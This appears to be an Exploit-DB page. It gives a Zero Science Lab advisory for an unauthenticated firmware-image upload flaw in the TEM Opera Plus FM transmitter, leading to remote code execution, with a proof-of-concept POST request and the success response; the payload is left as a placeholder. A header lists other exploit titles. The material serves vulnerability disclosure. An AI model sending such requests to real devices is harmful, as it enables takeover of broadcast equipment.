c1bcfc6347
13 changes to exploits/shellcodes/ghdb TEM Opera Plus FM Family Transmitter 35.45 - Remote Code Execution TEM Opera Plus FM Family Transmitter 35.45 - XSRF Executables Created with perl2exe < V30.10C - Arbitrary Code Execution Atlassian Confluence Data Center and Server - Authentication Bypass (Metasploit) Automatic-Systems SOC FL9600 FastLine - Directory Transversal Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin dawa-pharma 1.0-2022 - Multiple-SQLi Moodle 4.3 - Insecure Direct Object Reference Moodle 4.3 - Reflected XSS SuperStoreFinder - Multiple Vulnerabilities Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) Zoo Management System 1.0 - Unauthenticated RCE
67 lines
No EOL
2.1 KiB
Text
67 lines
No EOL
2.1 KiB
Text
TEM Opera Plus FM Family Transmitter 35.45 Remote Code Execution
|
|
|
|
|
|
Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.
|
|
Product web page: https://www.tem-italy.it
|
|
Affected version: Software version: 35.45
|
|
Webserver version: 1.7
|
|
|
|
Summary: This new line of Opera plus FM Transmitters combines very
|
|
high efficiency, high reliability and low energy consumption in compact
|
|
solutions. They have innovative functions and features that can eliminate
|
|
the costs required by additional equipment: automatic exchange of audio
|
|
sources, built-in stereo encoder, integrated RDS encoder, parallel I/O
|
|
card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP
|
|
Webserver.
|
|
|
|
Desc: The device allows access to an unprotected endpoint that allows
|
|
MPFS File System binary image upload without authentication. The MPFS2
|
|
file system module provides a light-weight read-only file system that
|
|
can be stored in external EEPROM, external serial Flash, or internal
|
|
Flash program memory. This file system serves as the basis for the
|
|
HTTP2 web server module, but is also used by the SNMP module and is
|
|
available to other applications that require basic read-only storage
|
|
capabilities. This can be exploited to overwrite the flash program
|
|
memory that holds the web server's main interfaces and execute arbitrary
|
|
code.
|
|
|
|
Tested on: Webserver
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2023-5799
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5799.php
|
|
|
|
|
|
18.08.2023
|
|
|
|
--
|
|
|
|
|
|
POST /mpfsupload HTTP/1.1
|
|
Host: 192.168.1.2:8000
|
|
Content-Length: 251
|
|
Cache-Control: max-age=0
|
|
Content-Type: multipart/form-data; boundary=----joxypoxy2
|
|
User-Agent: MPFS2_PoC/2.0c
|
|
Accept: */*
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Connection: close
|
|
|
|
------joxypoxy2
|
|
Content-Disposition: form-data; name="i"; filename="MPFSimg2.bin"
|
|
Content-Type: application/octet-stream
|
|
|
|
MPFS...<CGI BINARY PHONE HOME>
|
|
-----joxypoxy2--
|
|
|
|
|
|
HTTP/1.1 200 OK
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body style="margin:100px"><b>MPFS Update Successful</b><p><a href="/">Site main page</a></body></html> |